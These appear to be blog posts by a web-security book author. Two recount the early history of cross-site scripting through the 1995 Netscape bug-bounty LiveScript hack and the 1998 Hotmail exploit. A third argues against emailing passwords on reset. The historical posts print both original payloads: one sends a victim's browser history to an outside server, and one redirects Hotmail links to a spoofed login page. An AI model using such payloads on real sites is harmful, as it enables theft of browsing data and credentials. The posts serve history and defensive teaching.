• Johnny Mnemonic movie poster

    The Hacking Web Apps book covers HTML Injection and cross-site scripting (XSS) in Chapter 2. Within the restricted confines of the allotted page count, it describes one of the most pervasive attacks that plagues modern web applications.

    Yet XSS is old. Very, very old. Born in the age of acoustic modems and barely a blink after the creation of the web browser.

    Early descriptions of the attack used terms like “malicious HTML” or “malicious JavaScript” before the phrase “cross-site scripting” became canonized by the OWASP Top 10.

    While XSS is an easy point of reference, the attack could be more generally called HTML injection because an attack does not have to “cross sites” or rely on JavaScript to be successful. The infamous Samy attack didn’t need to leave the confines of MySpace (nor did it need to access cookies) to effectively DoS the site within 24 hours. Persistent XSS may be just as dangerous if an attacker injects an iframe to a malware site – no JavaScript required.

    Here’s one of the earliest references to the threat of XSS from a message to the comp.sys.acorn.misc newsgroup on June 30, 19961. It mentions only a handful of possible outcomes:

    Another ‘application’ of JavaScript is to poke holes in Netscape’s security. To anyone using old versions of Netscape before 2.01 (including the beta versions) you can be at risk to malicious Javascript pages which can

    a) nick your history

    b) nick your email address

    c) download malicious files into your cache and run them (although you need to be coerced into pressing the button)

    d) examine your filetree.

    From that message we can go back several months to the announcement of Netscape Navigator 2.0 on September 18, 1995. A month later Netscape created a “Bugs Bounty” starting with its beta release in October. The bounty offered rewards, including a $1,000 first prize, to anyone who discovered and disclosed a security bug within the browser. A few weeks later the results were announced and first prize went to a nascent JavaScript hack.

    The winner of the bug hunt, Scott Weston, posted his find to an Aussie newsgroup. This was almost 15 years ago on December 1, 1995 (note that LiveScript was the precursor to JavaScript):

    The “LiveScript” that I wrote extracts ALL the history of the current netscape window. By history I mean ALL the pages that you have visited to get to my page, it then generates a string of these and forces the Netscape client to load a URL that is a CGI script with the QUERY_STRING set to the users History. The CGI script then adds this information to a log file.

    Scott, faithful to hackerdom tenets, included a nod to pop-culture in his description of the sensitive data extracted about the unwitting victim2:

    - the URL to use to get into CD-NOW as Johnny Mnemonic, including username and password.

    - The exact search params he used on Lycos (i.e. exactly what he searched for)

    - plus any other places he happened to visit.

    HTML injection targets insecure web applications. These were examples of how a successful attack could harm the victim rather than how a web site was hacked. Browser security is important to mitigate the impact of such attacks, but a browser’s fundamental purpose is to parse and execute HTML and JavaScript returned by a web application – a dangerous prospect when the page is laced with malicious content inserted by an attacker.

    The attack is almost indistinguishable from a modern payload. A real attack might only have used a more subtle <img> or <iframe> as opposed to changing the location.href:

    <SCRIPT LANGUAGE="LiveScript">
    i = 0
    yourHistory = ""
    while (i < history.length) {
      yourHistory += history[i]
      i++;
      if (i < history.length)
        yourHistory += "^"
    }
    location.href = "http://www.tripleg.com.au/cgi-bin/scott/his?" + yourHistory
    <!-- hahah here is the hidden script -->
    </SCRIPT>
    

    The actual exploit reflected the absurd simplicity typical of XSS attacks. They often require little effort to create, but carry a significant impact.

    Before closing let’s take a tangential look at the original $1,000 “Bugs Bounty”. The Chromium team offers $500 and $1,3373 rewards for security-related bugs. The Mozilla Foundation offers $500 and a T-Shirt.

    (In 2023, these amounts reach even higher into the $20,000 and $40,000 range.)

    On the other hand, you can keep the security bug from the browser developers and earn $10,000 and a laptop for a nice, working exploit.

    All of those options seem like a superior hourly rate to writing a book.


    1. Netscape Navigator 3.0 was already available in April of the same year. 

    2. Good luck tracking down the May 1981 issue of Omni Magazine in which William Gibson’s short story first appeared! 

    3. No, the extra $337 isn’t the adjustment for inflation from 1995, which would have made it $1,407.72 according to the Bureau of Labor and Statistics. It’s a nod to leetspeak. 

    • • •
  • A post on Stack Overflow seeks advice on the relative security between implementing a password reset mechanism that emails a temporary link vs. one that emails a temporary password. Stack Overflow questions typically attract high quality answers, which is a testament to the site’s knowledgeable readership and reputation system. Responses to this particular post didn’t fail.

    Rather than retread the answers, let’s consider the underlying implication behind the question: it can be acceptable to send passwords via email.

    Don’t do it. Don’t give users the expectation that passwords might be sent via email. Doing so is unnecessary and establishes a dangerous practice as possibly acceptable. If the site ever sends a password to a user, then the user might be conditioned to communicate in the other direction. An email purportedly from the site’s administrators might ask for the user’s password to “verify the account is active”, “prevent the account from being terminated”, or “restore information”. The email need not ask for a direct response. It may be an indirect prompt for the password using cautionary, concerned language that never the less sends the victim to a spoofed login page.

    Site administrators will not elicit passwords via email or any other means. Sites won’t ask for passwords except at authentication barriers. Sites shouldn’t send passwords – however temporary they may be.

    “Newt. My name’s Newt.”

    Passwords – shared secrets ostensibly known only to the user and the web site – are a necessary evil of authentication. The password proves a user’s identity to a web site under the assumption that only the person who logs in as Newt, for example, knows the corresponding password to the account is rebecca.

    A password’s importance to web security has a frustratingly indirect relationship to the amount of control a site is able to exert over its protection. Users must be trusted not only to use hard-to-guess words or phrases, but must be trusted not to share the password or otherwise actively divulge it through accident or ignorance. Only the luckiest of potential victims will click an emailed link and be brought to a friendly page:

    APWG

    “That’s it man, game over man, game over!”

    Password reuse among sites poses another serious risk. The theft of a user’s credentials (email address and password) for a site like www.downloadwarez.free might seen relatively innocuous, but what if they’re the same credentials used for allof.my.friends or www.mostly.secure.bank? Even worse, what if the password matches the one for the Gmail, Hotmail, or Yahoo account? In that case

    Nuke the entire site from orbit. It’s the only way to be sure.

    “Seventeen days? Hey man, I don’t wanna rain on your parade, but we’re not gonna last seventeen hours!”

    Use random, temporary links for password reset mechanisms via email. By this point you should be sufficiently warned off of the alternative of emailing temporary passwords. An obstinate few might choose to stick with passwords, arguing that there’s no difference between the two once they hit the unencrypted realm of email.

    Instead, use a forward-thinking solution that tries to secure the entire reset process:

    • Maintain the original password until the user changes it. Perhaps they’ll remember it anyway. This also prevent a mini-denial of service where attackers force users to change their passwords.
    • Use a strong pseudo-random number generator to minimize the chance of success of brute force attacks guessing the link.
    • Expire the link after a short period of time, perhaps in minutes or hours. This narrows the window of opportunity for brute force attacks that attempt to guess links. It’s no good to let an attacker initiate a password reset on a Friday evening and have a complete weekend to brute force links until the victim notices the email on a Monday morning.

    “Maybe we got ‘em demoralized.”

    For those of you out there who visit web sites rather than create them there’s one rule you should never ignore. If the site’s password recovery mechanism emails you the original password for your account, then stop using the site. Period. Full stop. Should you be forced to use the site under threat of violence or peer pressure, whichever is worse, at the very least choose a password that isn’t shared with any other account. Storing unencrypted passwords is lazy, bad security design, and a liability.


    Quotes from the movie Aliens.

    If you didn’t recognize them, go watch it now. It’s worth it. See you in about two hours.

    • • •
  • My book starts off with a discussion of cross-site scripting (XSS) attacks along with examples from 2009 that illustrate the simplicity of these attacks and the significant impact they can have. What’s astonishing is how little many of the attacks have changed.

    Consider the following example, over a decade old, of HTML injection before the term XSS became so ubiquitous. The exploit also appeared about two years before the blanket CERT advisory that called attention to the insecurity of unchecked HTML (CA-2000-02)1.

    On August 24, 1998 a Canadian web developer, Tom Cervenka, posted a message to the comp.lang.javascript newsgroup that claimed:

    We have just found a serious security hole in Microsoft’s Hotmail service (https://www.hotmail.com/) which allows malicious users to easily steal the passwords of Hotmail users.

    The exploit involves sending an e-mail message that contains embedded javascript code. When a Hotmail user views the message, the javascript code forces the user to re-login to Hotmail. In doing so, the victim’s username and password is sent to the malicious user by e-mail.

    Hotmail spoof

    The discoverers flouted the 90s trend to name vulns based on expletives or num3r1c characters and dubbed it simply the “Hot”Mail Exploit.

    Disclosures of that era also tended to include greetz, typos, and self-aggrandizement about the hacker’s near-omnipotent skills. This disclosure skipped those aspects. However, the demo site satisfied an axiom of hacking culture by using a hacker handle that referenced pop culture, Blue Adept, a fantasy novel by Piers Anthony.

    The attack required two steps. First, they set up a page on Geocities (a hosting service for web pages distinguished by being free before free was subsumed by the Web 2.0 label) that spoofed Hotmail’s login.

    The attack wasn’t particularly sophisticated and it didn’t need to be. The login form collected the victim’s credentials and IP address, then mailed them to the newly-created Geocities account.

    The second step involved executing the exploit against Hotmail by sending an email with HTML that contained a rather curious img tag. (Whitespace added for readability of the long, double-quoted string.):

    <img src="javascript:errurl='http://www.because-we-can.com/users/anon/hotmail/getmsg.htm';
    nomenulinks=top.submenu.document.links.length;
    for(i=0;i<nomenulinks-1;i++){
      top.submenu.document.links[i].target='work';
      top.submenu.document.links[i].href=errurl;
    }
    noworklinks=top.work.document.links.length;
    for(i=0;i<noworklinks-1;i++){
      top.work.document.links[i].target='work';
      top.work.document.links[i].href=errurl;
    }">
    

    The JavaScript changed the browser’s DOM such that any click would take the victim to the spoofed login page at which point it would coax credentials from an unwitting visitor. The original payload didn’t bother to obfuscate the JavaScript inside the src attribute.

    Modern attacks might have more sophisticated obfuscation techniques and use tags other than the img element, but it’s otherwise hard to distinguish what decade this payload is from.

    What’s also entertaining is how timeless the “serious security concern” is from the original disclosure. They list four points, which I’ve only edited for a typo:

    1. The malicious code runs as soon as e-mail message is viewed
    2. The resources required to launch the attack are minimal and freely available.
    3. The malicious e-mail can be sent from virtually anywhere, including libraries, internet cafes, or classroom terminals
    4. The exploit will work with any javascript-enabled browser, …

    The reference to internet cafes gives away the era, but otherwise this description from 1998 sounds like it could be from today. (I also have an example from 1996.)

    The problem of HTML injection, well known for over 10 years, remains a common vuln.

    (Another edit from the future: XSS still remains a common vuln 25 years after this disclosure. Although I’m optimistic about its decline due to frameworks like React.)


    1. To this day I dislike the framing of XSS as an input validation issue. Accept any characters you want – that’s not the issue! The flaw is output encoding and not handling those characters correctly for the context in which they’re being rendered. 

    • • •